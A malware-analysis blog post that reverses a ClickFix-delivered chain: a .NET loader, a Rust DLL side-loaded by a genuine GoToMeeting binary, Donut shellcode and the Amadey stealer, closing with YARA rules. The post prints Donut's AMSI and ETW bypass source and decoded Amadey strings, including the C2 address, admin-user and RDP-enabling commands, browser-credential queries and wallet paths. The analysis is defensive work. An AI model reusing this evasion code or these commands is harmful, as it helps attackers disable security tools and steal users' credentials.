My Reversing is VERY Rusty. All I do is GoToMeeting(s)!

M

It’s been a hot minute since I last wrote anything here. I found some time between meetings to look at this Rust loader that executes Amadey. You’ll have to forgive any mistakes I made in my analysis – I open the debugger about 4 times a year these days.

ClickFix

I am not a Robot!

ClickFix is a form of social engineering that lures users into running malicious code on their machines. A fake CAPTCHA is displayed to the user requesting they click a button to “Verify You Are Human.” Next, a pop-up message is displayed asking the user to take three sequential steps to prove they’re human.

Figure 1: ClickFix “Verify You’re Not a Robot”
Figure 2: Second part of ClickFix requests you hit Windows + R and CTRL+V to paste. Malicious command executed above.

Quotation.exe: .NET Loader

The PowerShell command from ClickFix downloads and executes a simple .NET executable.

SHA256: 406c113bb3811800661c01b732fcd5b1dfcab01c053287fb42335c98e409f52f 

The .NET exe is very straightforward. The author was even nice enough to omit any obfuscation, so it can be analyzed easily.

Main

The main method spells out exactly what the program does:

  1. Check to see if it’s running in a sandbox
  2. Extract the payload
  3. Execute the payload
Figure 3: Quotation.exe main function

Sandbox Check

The sandbox check in this loader contains two main components. First, it iterates through running processes, searching for the following strings:

  • vbox
  • vmware
  • sandbox
  • vmtoolsd
  • vmacthlp
  • vmusrvc

Next, it executes a WMI query: Select * from Win32_ComputerSystem and checks the returned Manufacturer value for:

  • vmware
  • virtualbox
  • qemu

If either of these checks returns true, the program will exit. Otherwise, the program continues to extract the embedded payload.

Figure 4: Sandbox Check

Extract Payload

ExtractPayload does exactly what it says—it creates the desired extraction directory, decodes the payload, and writes it to the desired path:

  1. Check if the desired extractPath exists: %TEMP%\ExtractedZip_aa0d5b98
    • Delete the directory if so
  2. Create the directory %TEMP%\ExtractedZip_aa0d5b98
  3. Append package.zip to the extractPath and store in string text
  4. Base64-decode the payload from the payloadBase64 string and store it in byte array bytes
  5. Write the extracted payload stored in bytes to path stored in text: %TEMP%\ExtractedZip_aa0d5b98\package.zip
  6. Extract the contents of %TEMP%\ExtractedZip_aa0d5b98\package.zip to %TEMP%\ExtractedZip_aa0d5b98
    • The following files are extracted:
      • update.exe
      • g2m.dll
Figure 5: Extract Payload

Execute Payload

ExecutePayload is straightforward: search %Temp%\ExtractedZip_aa0d5b98\ for any of the following files and execute using ShellExecute:

  • .exe
  • .bat
  • .cmd
  • .vbs
  • .js

The resulting command executed by ExecutePayload is: C:\Users\<User>\AppData\Local\Temp\ExtractedZip_aa0d5b98\update.exe

Figure 6: ExecutePayload

Go2Meeting. (update.exe)

ExtractPayload from the initial loader drops two files: update.exe and g2m.dll, and ExecutePayload then executes update.exe. Let’s take a look at that file first.

sha256: 796ea1d27ed5825e300c3c9505a87b2445886623235f3e41258de90ba1604cd5
❯ exiftool update.exe
ExifTool Version Number         : 13.25
File Name                       : update.exe
Directory                       : .
File Size                       : 40 kB
File Modification Date/Time     : 2025:05:08 17:51:22-07:00
File Access Date/Time           : 2025:05:17 14:40:03-07:00
File Inode Change Date/Time     : 2025:05:17 14:01:48-07:00
File Permissions                : -rw-r--r--
File Type                       : Win32 EXE
File Type Extension             : exe
MIME Type                       : application/octet-stream
Machine Type                    : Intel 386 or later, and compatibles
Time Stamp                      : 2012:11:14 10:40:17-08:00
Image File Characteristics      : No relocs, Executable, 32-bit
PE Type                         : PE32
Linker Version                  : 9.0
Code Size                       : 1536
Initialized Data Size           : 31744
Uninitialized Data Size         : 0
Entry Point                     : 0x1000
OS Version                      : 5.0
Image Version                   : 0.0
Subsystem Version               : 5.0
Subsystem                       : Windows GUI
File Version Number             : 5.4.0.1082
Product Version Number          : 5.4.1082.0
File Flags Mask                 : 0x003f
File Flags                      : (none)
File OS                         : Win32
Object File Type                : Executable application
File Subtype                    : 0
Language Code                   : English (U.S.)
Character Set                   : Unicode
Company Name                    : Citrix Online, a division of Citrix Systems, Inc.
File Description                : GoToMeeting
File Version                    : 5.4 Build 1082
Internal Name                   : GoToMeeting
Legal Copyright                 : Copyright © 2004-2012 Citrix Systems, Inc.
Original File Name              : G2M.exe
Product Name                    : GoToMeeting
Product Version                 : 5.4 Build 1082
PDB Modify Date                 : 2012:11:14 10:40:17-08:00
PDB Age                         : 1
PDB File Name                   : c:\p4builds\Products\GoToMeeting\v5.4_builds\output\G2M_Exe.pdb

Based on the file metadata, this looks like a legitimate GoToMeeting executable. Let’s see what VirusTotal has to say.

Figure 7: update.exe (G2M.exe) in VirusTotal

This file looks benign. Let’s double-check the signatures.

Figure 8: File Signatures for update.exe (G2M.exe)

It looks like everything checks out. This is a legitimate copy of GoToMeeting. How does g2m.dll come into play here? Presumably, the legitimate copy of GoToMeeting loads this DLL. The imports section confirms this assumption. Let’s turn our focus to g2m.dll to better understand.

Figure 9: update.exe (G2M.exe) imports g2m.dll

g2m.dll

sha256: b42958030ae87c4011b53f1b1812c441268ce7deaeba56bcafe6072fdad3dfb8
❯ exiftool g2m.dll
ExifTool Version Number         : 13.25
File Name                       : g2m.dll
Directory                       : .
File Size                       : 734 kB
File Modification Date/Time     : 2025:03:06 18:37:06-08:00
File Access Date/Time           : 2025:05:13 21:24:06-07:00
File Inode Change Date/Time     : 2025:05:17 14:01:48-07:00
File Permissions                : -rw-r--r--
File Type                       : Win32 DLL
File Type Extension             : dll
MIME Type                       : application/octet-stream
Machine Type                    : Intel 386 or later, and compatibles
Time Stamp                      : 2025:03:06 18:37:06-08:00
Image File Characteristics      : Executable, Large address aware, 32-bit, DLL
PE Type                         : PE32
Linker Version                  : 14.39
Code Size                       : 192000
Initialized Data Size           : 544256
Uninitialized Data Size         : 0
Entry Point                     : 0x20bb3
OS Version                      : 6.0
Image Version                   : 0.0
Subsystem Version               : 6.0
Subsystem                       : Windows GUI
Warning                         : Error processing PE resources
PDB Modify Date                 : 2025:03:06 18:37:06-08:00
PDB Age                         : 1
PDB File Name                   : g2m.pdb

g2m.dll is a malicious DLL file written in Rust. The binary masquerades as a legitimate GoToMeeting component but contains code designed to load and execute malicious shellcode. The loader employs several anti-analysis techniques and self-decrypting shellcode to avoid detection. Let’s step through the major components of the loader.

DLL Execution Flow

Check Expected Directory

g2m.dll kicks off by checking if it’s running from the expected hard-coded execution path: C:\Windows\Temp\3140a3c17c. If not running from the expected path, it calls CreateDirectory and CreateFile to create the directory and copy update.exe and g2m.dll to the newly created directory, renaming update.exe to Gxtuum.exe.

Figure 10: g2m.dll creating %TEMP%\3140a3c17c
Figure 11: g2m.dll creating a copy of itself in the target directory
String Decrypting

g2m.dll uses a simple XOR decryption routine to decrypt strings hidden in the binary. The four strings it initially decrypts are user32.dll, kernel32.dll, MessageBoxA, and ExitProcess, which are all used in the hooking routine below.

API Hooking

g2m.dll leverages API hooking techniques to intercept specific Windows API calls, avoiding user suspicion and surviving termination attempts. The primary hooking routine has four main steps:

  1. Target Identification
    • The code locates user32.dll and kernel32.dll parsing the PE header and using the export directory to find the exports it’s looking for (MessageBoxA and ExitProcess)
  2. Memory Protection Modification
    • VirtualProtect is called to change the memory protections of the 4 bytes that hold the pointer to the memory address of the function to PAGE_EXECUTE_READWRITE (0x40)
  3. Pointer Substitution
    • These 4 bytes are overwritten with the address of detour_msgbox or detour_exit for MessageBox and ExitProcess respectively.
  4. Restore Memory Protection
    • VirtualProtect is called again to restore the original memory protection

Now, when either MessageBox or ExitProcess are called, control jumps to the detour functions.

MessageBox Hook
Figure 12: Hooking routine replacing legitimate address with detour_msgbox

The detour_msgbox hook simply returns 1, which prevents popups or dialogues from appearing which might cause the user to be concerned.

Figure 13: detour_msgbox
ExitProcess Hook
Figure 14: Hooking routine replacing legitimate address with detour_exit

detour_exit is designed to prevent termination when ExitProcess is called. It contains quite a bit of code, but ultimately calls CreateThread and executes several different code segments that lead to the next step: shellcode execution.

We Interrupt this Post to Bring you a TCP Server

While shellcode decryption and execution are occurring, the loader decrypts the string 127.0.0.1:8085 and seemingly attempts to establish a network listener. It initializes a socket, binds it to the specified address and port, and configures it to accept incoming connections. Once the socket has been configured to listen, the malware decrypts the string TCP Server running on port 8085. After setup, the loader checks for any network errors and then closes the socket. Notably, during my debugging sessions and sandbox analysis, I observed no connections through this socket. I’ve seen this used as an alternative to a mutex before, but I’m not sure that’s what’s going on here.

Also, What is a Duqqy Operation?

The loader also decrypts this string – I’m not exactly sure what a Duqqy operation is though. I definitely could’ve missed something here.

Figure 15: Duqqy operations?
Shellcode Execution

Next, the loader allocates executable (PAGE_EXECUTE_READWRITE) memory with VirtualAlloc, copies the shellcode to the allocated memory, and executes it. The shellcode is embedded in the binary unencrypted at 0x1003035c. The shellcode and embedded payload are ~470kb.

Figure 16: Allocate executable memory, copy shellcode, execute

When the shellcode is executed, it immediately begins a self-decryption routine using XOR with a rolling key.

Figure 17: SC decryption routine

The shellcode next performs API hashing, resolving Windows APIs required for execution. The first API it resolves is Kernel32.VirtualAlloc, as seen below.

Figure 18: API hashing routine

The shellcode resolves addresses for the following functions:

  • VirtualAlloc
  • VirtualFree
  • RtlExitUserProcess

After resolving the APIs above, the shellcode calls VirtualAlloc to allocate memory for storing the decrypted payload.

Figure 19: Shellcode calling VirtualAlloc
Payload Decryption

Next, the shellcode begins its decryption routine to decrypt the payload.

Figure 20: Payload Decryption
Figure 21: Payload length

The decryption algorithm leveraged by the shellcode is a custom routine that uses a 0x10-byte key that is manipulated with numerous add, rol, xor, and sub instructions. Finally, the ciphertext is XORed byte-by-byte using the generated 0x10-byte key. See the figure below for more detail.

Figure 22: Decryption algorithm
Figure 23: Beginning of decrypted payload
Figure 24: Our final payload!

Donut

Resolve APIs

The shellcode proceeds to resolve APIs dynamically using the previously mentioned API hashing routine. The following APIs are resolved:

VirtualAlloc, VirtualFree, RtlExitUserProcess, LoadLibrary, GetProcAddress, GetModuleHandleA, VirtualQuery, VirtualProtect, Sleep, MultiByteToWideChar, GetUserDefaultLCID, WaitForSingleObject, CreateThread, CreateFileA, GetFileSizeEx, GetThreadContext, GetCurrentThread, GetCurrentProcess, GetCommandLineA, GetCommandLineW, RtlAllocateHeap, RtlReAllocateHeap, GetProcessHeap, HeapFree, GetLastError, CloseHandle, CommandLineToArgvW, SafeArrayCreate, SafeArrayCreateVector, SafeArrayPutElement, SafeArrayDestroy, SafeArrayGetLBound, SafeArrayGetUBound, SysAllocString, SysFreeString, LoadTypeLib, InternetCrackUrlA, InternetOpenA, InternetConnectA, InternetSetOptionA, InternetReadFile, InternetQueryDataAvailable, InternetCloseHandle, HttpOpenRequestA, HttpSendRequestA, HttpQueryInfoA, CorBindToRuntime, CLRCreateInstance, CoInitializeEx, CoCreateInstance, CoUninitialize, RtlEqualUnicodeString, RtlEqualString, RtlUnicodeStringToAnsiString, RtlInitUnicodeString, RtlExitUserThread, RtlExitUserProcess, RtlCreateUnicodeString, RtlGetCompressionWorkSpaceSize, RtlDecompressBuffer, ZwContinue, ZwCreateSection, NtMapViewOfSection, ZwUnmapViewOfSection.

f it wasn’t clear at this point from the ole32;oleaut32;wininet;mscoree;shell32 string or the resolved APIs, this is Donut shellcode. Here’s a good reference from the Donut Git repo that outlines the observed behavior: https://github.com/TheWover/donut/blob/master/docs/devnotes.md.

AMSI BYPASS

AMSI (Antimalware Scan Interface) is a Windows security feature that acts as a real-time interface between applications and anti-malware products such as AV and EDRs. It allows for real-time scanning of scripts, macros, and memory content prior to execution, helping to detect and block malicious code that signature-based methods could miss.

Donut contains AMSI bypass functionality that disables AmsiScanString and AmsiScanBuffer, helping it evade detection by AV and EDR products. The code to disable AMSI is provided below.

BOOL DisableAMSI(PDONUT_INSTANCE inst) {
    HMODULE dll;
    DWORD   len, op, t;
    LPVOID  cs;

    // try load amsi. if unable, assume DLL doesn't exist
    // and return TRUE to indicate it's okay to continue
    dll = xGetLibAddress(inst, inst->amsi);
    if(dll == NULL) return TRUE;
    
    // resolve address of AmsiScanBuffer. if not found,
    // return FALSE because it should exist ...
    cs = xGetProcAddress(inst, dll, inst->amsiScanBuf, 0);
    if(cs == NULL) return FALSE;
    
    // calculate length of stub
    len = (ULONG_PTR)AmsiScanBufferStubEnd -
          (ULONG_PTR)AmsiScanBufferStub;
    
    DPRINT("Length of AmsiScanBufferStub is %" PRIi32 " bytes.", len);
    
    // check for negative length. this would only happen when
    // compiler decides to re-order functions.
    if((int)len < 0) return FALSE;
    
    // make the memory writeable. return FALSE on error
    if(!inst->api.VirtualProtect(
      cs, len, PAGE_EXECUTE_READWRITE, &op)) return FALSE;
      
    DPRINT("Overwriting AmsiScanBuffer");
    // over write with virtual address of stub
    Memcpy(cs, ADR(PCHAR, AmsiScanBufferStub), len);   
    // set memory back to original protection
    inst->api.VirtualProtect(cs, len, op, &t);
  
    // resolve address of AmsiScanString. if not found,
    // return FALSE because it should exist ...
    cs = xGetProcAddress(inst, dll, inst->amsiScanStr, 0);
    if(cs == NULL) return FALSE;
    
    // calculate length of stub
    len = (ULONG_PTR)AmsiScanStringStubEnd -
          (ULONG_PTR)AmsiScanStringStub;
     
    DPRINT("Length of AmsiScanStringStub is %" PRIi32 " bytes.", len);
    
    // check for negative length. this would only happen when
    // compiler decides to re-order functions.
    if((int)len < 0) return FALSE;
    
    // make the memory writeable
    if(!inst->api.VirtualProtect(
      cs, len, PAGE_EXECUTE_READWRITE, &op)) return FALSE;
      
    DPRINT("Overwriting AmsiScanString");
    // over write with virtual address of stub
    Memcpy(cs, ADR(PCHAR, AmsiScanStringStub), len);   
    // set memory back to original protection
    inst->api.VirtualProtect(cs, len, op, &t);
    
    return TRUE;
}

Here are a few images that show AmsiScanString and AmsiScanBuffer before and after patching.

Figure 25: AmsiScanString Bypass
Disabling Event Tracing
Figure 26: AmsiScanBuffer Bypass

ETW (Event Tracing for Windows) is a kernel-level tracing facility that provides detailed logging of system and application events. It allows for real-time monitoring of processes, threads, memory, file operations, and network activity. It is used by security tools and EDRs alike to detect suspicious behavior patterns.

Donut also contains functionality that disables ETW, helping it evade detection by AV and EDR products. The code to disable ETW is provided below.

BOOL DisableETW(PDONUT_INSTANCE inst) {
    HMODULE dll;
    DWORD   len, op, t;
    LPVOID  cs;

    // get a handle to ntdll.dll
    dll = xGetLibAddress(inst, inst->ntdll);

    // resolve address of EtwEventWrite
    // if not found, return FALSE because it should exist
    cs = xGetProcAddress(inst, dll, inst->etwEventWrite, 0);
    if (cs == NULL) return FALSE;

#ifdef _WIN64
    // make the memory writeable. return FALSE on error
    if (!inst->api.VirtualProtect(
        cs, 1, PAGE_EXECUTE_READWRITE, &op)) return FALSE;

    DPRINT("Overwriting EtwEventWrite");

    // over write with "ret"
    Memcpy(cs, inst->etwRet64, 1);

    // set memory back to original protection
    inst->api.VirtualProtect(cs, 1, op, &t);
#else
    // make the memory writeable. return FALSE on error
    if (!inst->api.VirtualProtect(
        cs, 4, PAGE_EXECUTE_READWRITE, &op)) return FALSE;

    DPRINT("Overwriting EtwEventWrite");

    // over write with "ret 14h"
    Memcpy(cs, inst->etwRet32, 4);

    // set memory back to original protection
    inst->api.VirtualProtect(cs, 4, op, &t);
#endif

    return TRUE;

}
Donut RunPE

After patching AMSI and ETW, the Donut shellcode leverages its inmem_pe module and calls RunPE. https://github.com/TheWover/donut/blob/master/loader/inmem_pe.c

Finally Execute Amadey
Figure 27: Amadey entry executing after Donut RunPE

Amadey

sha256: 12b189bd31b554cd0eed71f107dd6de843e3a78bf161da8bd728bc1ac1ab4bf4

Check Expected Directory and FIlename

Amadey calls GetModuleFileNameA to get its fully qualified path. It then decrypts (decodes, more on that later) its desired filename, Gxtuum.exe.

Figure 28: Decoding desired filename of Gxtuum.exe

Next, it decodes the string 3140a3c17c, which is the desired directory name under %TEMP%. Amadey calls GetTempPathA and appends the decoded string to build the desired path: C:\Users\<user>\AppData\Local\Temp\3140a3c17c.

Scheduled Task for Persistance

After checking for the expected directory and filename, Amadey calls CoCreateInstance to create a scheduled task. Note that it uses the desired path and filename: C:\Users\<user>\AppData\Local\Temp\3140a3c17c\Gxtuum.exe

If Applicable: Create Desired Directory and Filename and Restart

If the directory or filename does not match the expected values, Amadey calls CreateFileW to check if the directory and file already exist. If they do not, it calls CreateDirectoryA to create the directory, copies the file to the new directory using SHFileOperation, and executes the appropriately named file from the desired directory using ShellExecuteA. Finally, the current process exits in favor of the new one.

Create Mutex

After Amadey is satisfied with its filename and path, it calls CreateMutexA to ensure only a single instance of the malware is running.

Figure 29: Amadey calling CreateMutexA
System Recon / Enumeration

Next, Amadey performs initial system reconnaissance and enumeration, collecting information such as:

  • Windows Version
  • Architecture
  • Admin Privileges
  • Computer Name
  • Username
  • Domain name

Amadey uses APIs including GetNativeSystemInfo, GetVersionExW, GetUserNameA, LookupAccountNameA, GetSidIdentifierAuthority, GetSidSubAuthority.

Figure 30: Recon / Enumeration related API calls

Amadey queries multiple registry keys to gather additional system data including:

  • SOFTWARE\Microsoft\Windows NT\CurrentVersion\
  • SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Anti-Virus Check

Amadey continues profiling the system, checking C:\ProgramData\ for the presence of various anti-virus software:

  • AVAST
  • Avira
  • Kaspersky Lab
  • ESET
  • Panda Security
  • Doctor Web
  • AVG
  • 360TotalSecurity
  • Bitdefender
  • Norton
  • Sophos
  • Comodo
  • WinDefender
Figure 31: Example AV check for AVAST
Build C2 Check-in String

After enumerating the infected system and collecting reconnaissance information, Amadey uses this information to build a string containing user and system information for C2 check-in. Each key in the string corresponds to a specific value with an associated meaning.

Figure 32: Amadey building string of key/value pairs containing recon data

id:866265027187vs:5.30sd:80eb71os:1bi:1ar:1pc:DESKTOP-2C3IQHOun:REMdm:av:13lv:0og:1

The table below contains each key, example values from the debugged sample, and the associated meaning.

KeyValue [example]Description
id866265027187System ID
vs5.30Amadey Version
sd80eb71Amadey ID
os1Windows Version
Win 7 == 9
Win 10 == 1

more values but I didn’t continue testing
bi1Architecture
x86 == 0
x64 == 1
ar1Admin Privileges
0 == Not admin
1 == Admin
pcDESKTOP-2C3IQHOunComputer name
unmuziUsername
dmblankDomain name
av13Installed AV
lv0GetTaskContent
og1? Set as 1

After building the C2 check-in string, newer versions of Amadey, like this one, RC4-encrypt and hex-encode the check-in string prior to checking in with the C2. Note that the RC4 key used is the same as the mutex created by the malware: 9e10aae64ffb8138362fd4ae6e92862f.

Figure 33: Amadey RC4 implementation.

After RC4 encryption, the C2 check-in string of id:062450170183vs:5.30sd:80eb71os:1bi:1ar:1pc:WU9KKSun:38lTTV5Kiidm:av:13lv:0og:1 becomes E531E9CF1535AF43D589DF585F48CE107F96DCA8AD8DF3202EBEE7118C022B77C11B259559783241F003DCA6471915CDF599E782AE38D0E1F6DC4F0F7FCD39070CD14B2F341BF9367A8F8B08CBA93712028816.

The following CyberChef recipe decrypts the network traffic back to the plaintext check-in string.

Figure 34: Decrypt encrypted C2 check-in string

Amadey finally creates a check-in string of r=E531E9CF1535AF43D589DF585F48CE107F96DCA8AD8DF3202EBEE7118C022B77C11B259559783241F003DCA6471915CDF599E782AE38D0E1F6DC4F0F7FCD39070CD14B2F341BF9367A8F8B08CBA93712028816 with the key r presumably translating to “request.”

Keyboard Layout Check (Mini CIS Check)

Prior to initiating network communications with the C2, Amadey performs a CIS check by examining keyboard layout identifiers. It queries the Keyboard Layout\Preload registry key and compares keyboard identifiers against the following:

Keyboard IdentifierLanguage
00000419Russian
00000422Ukranian
00000423Belarusian
0000043fKazakh
Amadey Network Conns

After verifying the infected system does not have a keyboard layout using one of the languages mentioned above, Amadey begins its check-in routine. Amadey decodes its C2 address, then sends a POST request with the payload st=s to indicate a check-in. Note that Amadey creates multiple threads using CreateThread for C2 communication, including data exfiltration and plugin/follow-on payload downloads.

Figure 35: InternetConnectA call displaying C2 IP and path
Figure 36: Amadey POST check-in to C2

Next, Amadey sends the check-in string containing the encrypted reconnaissance data.

Figure 37: Amadey POSTing recon data to C2

At this point, the C2 server responds with instructions depending on the data it receives. If it determines the infected machine is a sandbox or is already infected, it sends nothing. Otherwise, it typically responds with additional plugins, such as clip64.dll and cred64.dll. The server didn’t want to be friends with me, so I’ll just grab those from VirusTotal. 🙂

Quick Detour: Amadey Decoding Algorithm

Before we dive into the Amadey plugins, let’s review the decoding algorithm for embedded strings. If we can automate string extraction and decoding, we can save time extracting C2 addresses and better understand the functionality of the core malware and its plugins.

Amadey uses a custom algorithm that combines a substitution cipher with Base64 to decode strings. The following is my explanation of the decoding algorithm:

  1. Keystream Generation
    • Takes the decryption key and repeats it cyclically to match the ciphertext length
    • Example: key=”abc”, ciphertext length=10 → keystream=”abcabcabca”
  2. Character-by-Character Decryption
    • Uses a 64-character alphabet: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
    • For each character in the ciphertext:
      • If the character is in the alphabet:
        • Find its index in the alphabet (0-63)
        • Find the corresponding keystream character’s index
        • Calculate: plaintext_index = (ciphertext_index - keystream_index) mod 64
        • Use this index to get the plaintext character from the alphabet
      • If the character is NOT in the alphabet (like ‘=’ padding):
        • Pass it through unchanged
  3. Base64 Decode
    • The result from step 2 is a Base64-encoded string
    • Decode it to get the final plaintext”

Below is the extracted configuration and strings from the Amadey sample. Here’s a link to the config extraction and string decryption script I wrote.

Amadey Config:
{'Mutex': '9e10aae64ffb8138362fd4ae6e92862f', 'Path': '9e10aae64ffb813', 'C2': '45[.]93[.]20[.]224/pNdj30Vs11/index[.]php', 'Version': '5.30'}
Amadey decrypted strings:
S-%lu-
%-lu
-%lu
3140a3c17c
Gxtuum.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Startup
Rem
cmd /C RMDIR /s/q
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
rundll32
Programs
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
%USERPROFILE%
\App
POST
GET
id:
vs:
sd:
os:
bi:
ar:
pc:
un:
dm:
av:
lv:
og:
r=
cred.dll|clip.dll|
cred.dll
clip.dll
d1
e1
e2
e3
Main
http://
https://
exe
dll
cmd
ps1
msi
zip
/quiet
<c>
<d>
/Plugins/
+++
#
|
&unit=
=
shell32.dll
kernel32.dll
GetNativeSystemInfo
ProgramData\
AVAST Software
Avira
Kaspersky Lab
ESET
Panda Security
Doctor Web
AVG
360TotalSecurity
Bitdefender
Norton
Sophos
Comodo
WinDefender
0123456789
rb
wb
Content-Type: multipart/form-data; boundary=----
------

Content-Disposition: form-data; name="data"; filename="
"
Content-Type: application/octet-stream



------
--

?scr=1
.jpg
Content-Type: application/x-www-form-urlencoded
SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
ComputerName
abcdefghijklmnopqrstuvwxyz0123456789-_
-unicode-
SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
SYSTEM\ControlSet001\Services\BasicDisplay\Video
VideoID
\0000
DefaultSettings.XResolution
DefaultSettings.YResolution
SOFTWARE\Microsoft\Windows NT\CurrentVersion
ProductName
2019
2022
2016
2025
CurrentBuild
\
:::
rundll32.exe
/k
"taskkill /f /im "
" && timeout 1 && del
&& Exit"
" && ren
 &&
Powershell.exe
-executionpolicy remotesigned -File "
"
shutdown -s -t 0
st=s
random
Keyboard Layout\Preload
00000419
00000422
00000423
0000043f
Plugins and Amadey Functionality

Depending on the C2 response, Amadey can perform a number of tasks. Typically, the plugins clip64.dll and cred64.dll are downloaded to perform additional information stealing. Amadey also contains the following functionality:

  • Download, handle, and execute the following file types: .exe, .dll, .cmd, .ps1, .msi, .zip
    • Execute with rundll32.exe, ShellExecute (command line + runas), or powershell
      • Powershell.exe -executionpolicy remotesigned -File
      • Unzip archives with powershell -Command Expand-Archive -Path
  • Perform shutdowns
    • shutdown -s -t 0
  • Kill tasks
    • taskkill /f /im
  • Enable remote access
    • netsh advfirewall firewall set rule group="Remote Desktop" new enable=Yes
    • sc config termservice start= auto
    • net start termservice
  • Enumerate and make changes to users and groups
    • net user /add /y
    • net localgroup "Administrators" /add
    • WMIC USERACCOUNT WHERE "Name = '" SET PasswordExpires=FALSE
    • WMIC USERACCOUNT WHERE "Name = '" SET Passwordchangeable=FALSE
  • Take screenshots”
Plugins

The C2 did not send me either plugin, so I pivoted on VTI and found at least cred64.dll. Rather than reversing the whole thing, I’ll just run the config extractor / string decoding script we created earlier. Functionality of the plugin are very apparent once strings are extracted and decoded.

sha256: f69b0d3dca19ca354d756880df1eb0c89f8ccf304fb1d4060dc9ba1bbc262796

❯ python3 amadey_decode_strings.py ~/Downloads/amadey/cred64.dll
Key: 6fb2945b73f4685e264b82b04b1fd8c6
Amadey Config:
{'Mutex': '9e10aae64ffb8138362fd4ae6e92862f', 'Path': '9e10aae64ffb813', 'C2': '45[.]93[.]20[.]224/pNdj30Vs11/index[.]php', 'Version': '5.30'}
------------------------
Amadey decrypted strings:
S-%lu-
%-lu
-%lu
\Mozilla\Firefox\Profiles\
\logins.json
\Thunderbird\Profiles\
Exodus\exodus.wallet\
_Exodus
.zip
_Electrum(
).zip
Electrum
Local Settings\Software\Microsoft\Windows\Shell\MuiCache
electrum_data\wallets
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FeatureUsage\AppSwitched
Electrum.exe
Electrum\wallets
Armory\
_Armory
Taskkill /IM ArmoryQt.exe /F
Dogecoin\
_Dogecoin
*.dat
Litecoin\wallets
_Litecoin
Taskkill /IM litecoin-qt.exe /F
DashCore\wallets\
_Dashcore
Taskkill /IM dash-qt.exe /F
_Telegram(
tdata
\emoji
\user_data
\dictionaries
key_datas
tdata\key_datas
tdata\
Telegram
Local Settings\Software\Microsoft\Windows\Shell\MuiCache
tdata\
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FeatureUsage\AppSwitched
Telegram.exe
_Desktop.zip
_Files_\
txt
doc
xls
docx
xlsx
atomic\Local Storage\
_Atomic
Taskkill /IM "Atomic Wallet.exe" /F
configs
maps
Chrome
\Google\Chrome\User Data\Default\Login Data
\Google\Chrome\User Data\Local State
Opera
\Opera Software\Opera Stable\Login Data
\Opera Software\Opera Stable\Local State
Edge
\Microsoft\Edge\User Data\Default\Login Data
\Microsoft\Edge\User Data\Local State
Sputnik
\SputnikLab\Sputnik\User Data\Default\Login Data
\SputnikLab\Sputnik\User Data\Local State
Chromium
\Chromium\User Data\Default\Login Data
\Chromium\User Data\Local State
Orbitum
\Orbitum\User Data\Default\Login Data
\Orbitum\User Data\Local State
Vivaldi
\Vivaldi\User Data\Default\Login Data
\Vivaldi\User Data\Local State
Comodo
\Comodo\Dragon\User Data\Default\Login Data
\Comodo\Dragon\User Data\Local State
CocCoc
\CocCoc\Browser\User Data\Default\Login Data
\CocCoc\Browser\User Data\Local State
Chedot
\Chedot\User Data\Default\Login Data
\Chedot\User Data\Local State
CentBrowser
\CentBrowser\User Data\Default\Login Data
\CentBrowser\User Data\Local State
SELECT origin_url, username_value, password_value FROM logins
netsh wlan export profile name=
 folder=
 key=clear

FIN.

There’s plenty more analysis that could be done here, particularly around command parsing and execution of follow-on payloads, plugins, etc. We’ll call this analysis good enough for now. If you have any input or would like to partner on further analysis, building an emulator, etc., give me a shout! Hopefully this write-up is useful to someone out there.

Yara

Here’s a couple of Yara rules that are useful for the Rust loader and Donut shellcode.

rule Rust_Loader_Hook_API {

    meta:
        author = "muzisec"
        date = "2025-05-19"
        description = "Detects function hooking routine observed in g2m.dll Rust loader that loaded Amadey, Remcos, etc."
        reference = "b42958030ae87c4011b53f1b1812c441268ce7deaeba56bcafe6072fdad3dfb8"

    strings:
        /*
        6F6821D4 | 89 44 24 14              | mov dword ptr ss:[esp+14],eax           | [esp+14]:"ExitProcess"
	6F6821D8 | 8D 44 24 04              | lea eax,dword ptr ss:[esp+4]            | load start address of api
	6F6821DC | 50                       | push eax                                | PDWORD lpflOldProtect
	6F6821DD | 6A 40                    | push 40                                 | DWORD flNewProtect = 0x40
	6F6821DF | 6A 04                    | push 4                                  | SIZE_T dwSize = 4
	6F6821E1 | 89 4C 24 1C              | mov dword ptr ss:[esp+1C],ecx           |
	6F6821E5 | 51                       | push ecx                                | LPVOID lpAddress
	6F6821E6 | FF 15 10 00 6B 6F        | call dword ptr ds:[<&VirtualProtect>]   | VirtualProtect
	6F6821EC | 85 C0                    | test eax,eax                            |
	6F6821EE | 0F 84 6C FF FF FF        | je g2m.6F682160                         |
	6F6821F4 | 8B 44 24 40              | mov eax,dword ptr ss:[esp+40]           | [esp+40]:detour_msgboxm mov eax, detour_(msgbox|exit)
	6F6821F8 | 8B 5C 24 10              | mov ebx,dword ptr ss:[esp+10]           | mov ebx, start_addr_api
	6F6821FC | 89 03                    | mov dword ptr ds:[ebx],eax              | mov [ebx]:MessageBoxA, detour_(msgbox|exit)
	6F6821FE | 8D 44 24 04              | lea eax,dword ptr ss:[esp+4]            |
	6F682202 | 50                       | push eax                                | PDWORD lpflOldProtect
	6F682203 | FF 74 24 08              | push dword ptr ss:[esp+8]               | DWORD flNewProtect
	6F682207 | 6A 04                    | push 4                                  | SIZE_T dwSize = 4
	6F682209 | 53                       | push ebx                                | LPVOID lpAddress
	6F68220A | FF 15 10 00 6B 6F        | call dword ptr ds:[<&VirtualProtect>]   | VirtualProtect
        */

        $hooking_routine =
        {
                             (8B|8D) (44|4c|54|5c|6c|74|7c) 24 ?? [0-12]     // lea eax, dword ptr ss:[esp+4]
                             (50|51|52|53|55|56|57) [0-12]                   // push eax
                             6A 40 [0-12]                                    // push 40
                             6A 04 [0-12]                                    // push 4
                             (50|51|52|53|55|56|57) [0-12]                   // push ecx
                             (FF|E8) ?? ?? ?? ?? ?? [0-12]                   // Call VirtualProtect
                             8B 44 24 40 [0-12]                              // mov eax, detour_fn
                             8B 5C 24 10 [0-12]                              // mov ebx, api_start_addr
                             89 03 [0-12]                                    // replace api_start_addr with detour_fn
